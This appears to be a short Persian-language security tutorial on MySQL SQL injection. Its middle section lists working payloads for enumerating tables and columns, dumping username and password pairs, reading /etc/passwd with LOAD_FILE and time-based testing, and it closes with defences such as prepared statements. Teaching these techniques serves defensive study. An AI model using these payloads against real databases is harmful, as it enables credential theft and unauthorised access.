تست MySQL SQL Injection

MySQL SQL Injection

MySQL پرکاربردترین پایگاه داده متن‌باز در جهان است. ویژگی‌های خاص MySQL مثل INFORMATION_SCHEMA، GROUP_CONCAT و LOAD_FILE تکنیک‌های خاصی نیاز دارند.

ویژگی‌های خاص MySQL

• INFORMATION_SCHEMA برای metadata
• GROUP_CONCAT برای ترکیب نتایج
• LOAD_FILE برای خواندن فایل‌ها
• INTO OUTFILE برای نوشتن فایل‌ها
• LIMIT برای محدود کردن نتایج

payload‌های مخصوص MySQL

1-- شناسایی نسخه
2' UNION SELECT @@version --
3
4-- لیست جداول
5' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --
6
7-- لیست ستون‌ها
8' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --
9
10-- استخراج داده با GROUP_CONCAT
11' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users --
12
13-- خواندن فایل
14' UNION SELECT LOAD_FILE('/etc/passwd') --
15
16-- تست time-based
17' AND SLEEP(5) --

INFORMATION_SCHEMA

راه‌حل

• استفاده از Prepared Statements
• محدود کردن دسترسی کاربر پایگاه داده
• غیرفعال کردن LOAD_FILE و INTO OUTFILE
• لاگ‌برداری از query‌های مشکوک